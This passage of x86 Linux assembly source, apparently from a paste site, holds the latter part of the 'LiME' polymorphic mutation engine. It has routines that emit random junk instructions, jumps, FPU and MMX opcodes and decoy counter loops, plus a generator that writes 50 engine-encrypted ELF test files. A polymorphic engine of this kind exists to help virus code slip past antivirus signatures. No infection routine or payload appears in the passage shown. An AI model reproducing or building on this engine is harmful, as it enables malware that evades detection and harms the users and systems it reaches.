  959.         add al,73h      ; jz(ae/b) xx
  960.         stosw
  961.         ret
  962. lime_mjc2:
  963.     mov ah,al
  964.     jz lime_mjc2_a
  965.     mov ah,0ffh
  966. lime_mjc2_a:
  967.         add ah,83h      ; jz(ae/b) xxxxxxxx
  968.     mov al,0fh
  969.         stosw
  970.         xor eax,eax
  971.         stosd
  972.         ret
  973.  
  974. ; ---------------------------------------------------------------
  975.  
  976. lime_make_noflags_cod:
  977.         or byte [ebp-@+para_eax],10000000b
  978.     call [ebp-@+LIME_make_tsh_cod]
  979.         and byte [ebp-@+para_eax],01111111b
  980.     ret
  981.  
  982. lime_make_tsh_cod:
  983. ;   ret                 ; *test*
  984.     push ebx
  985.         push ecx
  986.     push edx
  987.         push esi
  988.     mov al,3
  989.     call [ebp-@+LIME_rnd_eax_and_al]
  990.         or eax,byte 01h
  991.         xchg ecx,eax
  992. lmtc_l:
  993.         lea esi,[ebp-@+lime_mk_tsh_cod_addr]
  994.     xor eax,eax
  995.     mov al,08h
  996.         test byte [ebp-@+para_eax],10000000b
  997.         jz lmtc_t1
  998.         mov al,03h
  999. lmtc_t1:
  1000.     call [ebp-@+LIME_rnd_al]
  1001.     rol eax,1
  1002.         add esi,eax
  1003.     movzx eax,word [esi]
  1004.     lea esi,[eax+@]
  1005.         call [ebp-@+LIME_rnd]
  1006.         call esi
  1007.         mov esi,[ebp-@+jxx_addr]
  1008.         or esi,esi
  1009.         jz lmtc_t2
  1010.         mov eax,edi
  1011.         sub eax,esi
  1012.         cmp eax,byte 02h
  1013.         jbe lmtc_t2
  1014.         mov [esi-01h],al
  1015.         and dword [ebp-@+jxx_addr],byte 00h
  1016. lmtc_t2:
  1017.         loop lmtc_l
  1018.         and dword [ebp-@+jxx_addr],byte 00h
  1019.         pop esi
  1020.     pop edx
  1021.         pop ecx
  1022.     pop ebx
  1023.         ret
  1024.  
  1025. lime_mtc1:          ; 8087
  1026.     and al,00000100b
  1027.         or al,0d8h
  1028.         stosb
  1029. lmtc1_a1:
  1030.         mov al,ah
  1031.         and ah,00000111b
  1032.         cmp ah,00000101b
  1033.         jnz lmtc1_a2
  1034.         and al,00111111b
  1035.         stosb
  1036.     mov al,7fh
  1037.     call [ebp-@+LIME_rnd_eax_and_al]
  1038.         add eax,[ebp-@+para_ebp]
  1039.         stosd
  1040.         ret
  1041. lmtc1_a2:
  1042.         or al,11000000b
  1043.         stosb
  1044.         ret
  1045.  
  1046. lime_mtc2:
  1047.     mov al,0fh
  1048.     call [ebp-@+LIME_rnd_al]
  1049.     or al,80h
  1050.     cmp al,8dh      ; lea reg,[reg]
  1051.     jz lmtc2_a
  1052.     cmp al,8bh
  1053.     ja lime_mtc2
  1054.     cmp al,86h
  1055.     jb lime_mtc2
  1056.     stosb           ; (xchg/mov) reg,reg
  1057.     mov al,11b
  1058.     call lime_rnd_rm
  1059.     jmp short lime_mtc2
  1060. lmtc2_a:
  1061.     stosb
  1062.     mov al,10b
  1063.     call [ebp-@+LIME_rnd_al]
  1064.     call lime_rnd_rm
  1065.     ret
  1066.  
  1067. lime_mtc3:          ; MMX
  1068.         push eax
  1069.         mov al,0fh
  1070.         stosb
  1071.         lea ebx,[ebp-@+lime_mmx_opcod_tab]
  1072.     mov al,2fh
  1073.     call [ebp-@+LIME_rnd_al]
  1074.     xlatb
  1075.     stosb
  1076.         pop eax
  1077.         or al,11000000b
  1078.         stosb
  1079.         ret
  1080.  
  1081. lime_mtc4:
  1082.         and al,01h
  1083.         mov dl,al
  1084.         shl dl,3
  1085.         call [ebp-@+LIME_rnd_reg]
  1086.         or al,0b0h      ; mov reg,xxxxxx(xx)
  1087.         or al,dl
  1088.         stosb
  1089.         cmp al,0b8h
  1090.         jb lmtc4_a
  1091.         call [ebp-@+LIME_rnd]
  1092.         and eax,0bfff83ffh
  1093.         stosd
  1094.         ret
  1095. lmtc4_a:
  1096.         call [ebp-@+LIME_rnd]
  1097.         stosb
  1098.         ret
  1099.  
  1100. lime_mtc5:
  1101.         and al,03h
  1102.         or al,80h       ; (add/or/adc/sbb/and/sub/xor/cmp) reg,xx
  1103.         stosb
  1104.         call [ebp-@+LIME_rnd_reg]
  1105.         or al,11000000b
  1106.         stosb
  1107.         call [ebp-@+LIME_rnd]
  1108.         and eax,83ffbfffh
  1109.         stosd
  1110.         cmp byte [edi-06h],81h
  1111.         jz lime_mtc5_a
  1112.     sub edi,byte 03h
  1113. lime_mtc5_a:
  1114. ;       ret
  1115.  
  1116. lime_mtc6:
  1117.         cmp dword [ebp-@+jxx_addr],byte 00h
  1118.         jnz lime_mtc4
  1119.     mov al,0fh
  1120.     call [ebp-@+LIME_rnd_eax_and_al]    
  1121.         or al,70h       ; jxx xx
  1122.         stosw
  1123.         mov [ebp-@+jxx_addr],edi
  1124.         call lime_mtc5
  1125.         ret
  1126.  
  1127. lime_mtc7:
  1128.     jp lime_mtc7_a
  1129.         and al,01h
  1130.         or al,0feh      ; (inc/dec) reg
  1131.         stosb
  1132.         call [ebp-@+LIME_rnd_reg]
  1133.         and ah,00001000b
  1134.         or al,11000000b
  1135.         or al,ah
  1136.         stosb
  1137.         ret
  1138. lime_mtc7_a:
  1139.     call lime_rnd_reg_dd
  1140.     and ah,00001000b
  1141.         or ah,40h       ; (inc/dec) reg
  1142.         or al,ah
  1143.         stosb
  1144.         ret
  1145.  
  1146. lime_mtc8:
  1147. ;   ret
  1148.     call lime_rnd_reg_dd
  1149.     mov dl,al
  1150.     mov [ebp-@+temp_reg],al
  1151.     or al,0b8h      ; mov reg,xxxxxxxx
  1152.     stosb
  1153.     call [ebp-@+LIME_rnd]
  1154.     stosd
  1155.     push edi
  1156.     push eax
  1157.     call [ebp-@+LIME_make_noflags_cod]
  1158.     call [ebp-@+LIME_rnd]
  1159.     and al,08h
  1160.     or al,40h       ; (inc/dec) reg
  1161.     or al,[ebp-@+temp_reg]
  1162.     stosb
  1163.     push eax
  1164.     call [ebp-@+LIME_make_noflags_cod]
  1165.     mov ax,0f881h       ; cmp reg,xxxxxxxx
  1166.     or ah,[ebp-@+temp_reg]
  1167.     stosw
  1168.     mov al,7fh
  1169.     call [ebp-@+LIME_rnd_eax_and_al]
  1170.     or al,10h
  1171.     pop edx
  1172.     test dl,08h
  1173.     pop edx
  1174.     jnz lime_mtc8_a1
  1175.     add eax,edx
  1176.         jmp short lime_mtc8_a2
  1177. lime_mtc8_a1:
  1178.     xchg eax,edx
  1179.         sub eax,edx
  1180. lime_mtc8_a2:
  1181.     stosd
  1182.     call [ebp-@+LIME_make_noflags_cod]
  1183.     mov al,[ebp-@+disp_reg]
  1184.     mov [ebp-@+temp_reg],al
  1185.     mov al,75h      ; jnz xx
  1186.     stosw
  1187.     cmp eax,edi
  1188.     jp lime_mtc8_a3
  1189.     pop eax
  1190.     sub eax,edi
  1191.     cmp eax,byte -80h
  1192.     jb lime_mtc8_a4
  1193.     mov [edi-01h],al
  1194.     ret
  1195. lime_mtc8_a3:
  1196.     pop eax
  1197. lime_mtc8_a4:  
  1198.     push edi
  1199.     call lime_rnd_trash
  1200.     pop edx
  1201.     mov eax,edi
  1202.     sub eax,edx
  1203.     mov [edx-01h],al
  1204.     ret
  1205.  
  1206. lime_mtc9:          ; (add/or/adc/sbb/and/sub/xor/cmp) reg,reg
  1207.     call [ebp-@+LIME_rnd]
  1208.     and al,00111011b
  1209.     stosb
  1210.     call [ebp-@+LIME_rnd_reg]
  1211.     or al,00011000b
  1212.     rol al,3
  1213.     mov ah,al
  1214.     mov al,[edi-01h]
  1215.     call [ebp-@+LIME_rnd_reg]
  1216.     or al,ah
  1217.     stosb
  1218.     ret
  1219.  
  1220. ; ---------------------------------------------------------------
  1221.  
  1222. LIME_END:
  1223. LIME_SIZE equ LIME_END-LIME_BEGIN
  1224.  
  1225. ; ***************************************************************
  1226. ;  [LiME] test files generator
  1227. ; ***************************************************************
  1228.  
  1229. main:
  1230.         mov eax,4
  1231.         mov ebx,1
  1232.         mov ecx,gen_msg
  1233.         mov edx,gen_msg_len
  1234.         int 80h
  1235.  
  1236.         mov ecx,50
  1237. gen_l1:
  1238.         push ecx
  1239.  
  1240.         mov eax,8
  1241.         mov ebx,filename
  1242.         mov ecx,000111111101b   ; 000rwxrwxrwx
  1243.         int 80h
  1244.        
  1245.         push eax
  1246.        
  1247.         mov eax,0
  1248.         mov ebx,host_entry
  1249.         mov ecx,host
  1250.         mov edx,host_len
  1251.         mov ebp,[e_entry]
  1252.         call LIME
  1253.        
  1254.         pop ebx
  1255.        
  1256.         mov eax,4
  1257.         mov ecx,elf_head
  1258.         add edx,host_entry-elf_head
  1259.         mov [p_filsz],edx
  1260.         mov [p_memsz],edx
  1261.         int 80h
  1262.        
  1263.         mov eax,6
  1264.         int 80h
  1265.        
  1266.         lea ebx,[filename+1]
  1267.         inc byte [ebx+1]
  1268.         cmp byte [ebx+1],'9'
  1269.         jbe gen_l2
  1270.         inc byte [ebx]
  1271.         mov byte [ebx+1],'0'
  1272. gen_l2:
  1273.         pop ecx
  1274.         loop gen_l1
  1275.  
  1276.         mov eax,1
  1277.         xor ebx,ebx
  1278.         int 80h
  1279.        
  1280. gen_msg db 'Generates 50 [LiME] encrypted test files...',0dh,0ah
  1281. gen_msg_len equ $-gen_msg
  1282.  
  1283. host:
  1284.         call host_reloc
  1285. host_reloc:
  1286.         pop ecx
  1287.         add ecx,host_msg-host_reloc
  1288.         mov eax,4
  1289.         mov ebx,1
  1290.         mov edx,host_msg_len
  1291.         int 80h
  1292.         mov eax,1
  1293.         xor ebx,ebx
  1294.         int 80h
  1295.  
  1296. host_msg db 'This is a [LiME] test file! ...('
  1297. filename db 't00',0
  1298.      db ')',0dh,0ah
  1299. host_msg_len equ $-host_msg
  1300. host_len equ $-host
  1301.  
  1302. elf_head:
  1303. e_ident db 7fh,'ELF',1,1,1
  1304.         times 9 db 0
  1305. e_type  dw 2
  1306. e_mach  dw 3
  1307. e_ver   dd 1
  1308. e_entry dd host_entry-elf_head+08049000h
  1309. e_phoff dd 34h
  1310. e_shoff dd 0
  1311. e_flags dd 0
  1312. e_elfhs dw 34h
  1313. e_phes  dw 20h
  1314. e_phec  dw 01h
  1315. e_shes  dw 0
  1316. e_shec  dw 0
  1317. e_shsn  dw 0    
  1318. elf_ph:
  1319. p_type  dd 1
  1320. p_off   dd 0
  1321. p_vaddr dd 08049000h
  1322. p_paddr dd 08049000h
  1323. p_filsz dd file_len
  1324. p_memsz dd file_len
  1325. p_flags dd 7
  1326. p_align dd 1000h
  1327.         times 20h db 0
  1328. host_entry:
  1329.         times 1024*4 db 0
  1330.  
  1331. file_len equ $-elf_head
  1332.  
Tags: Linux Engine
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement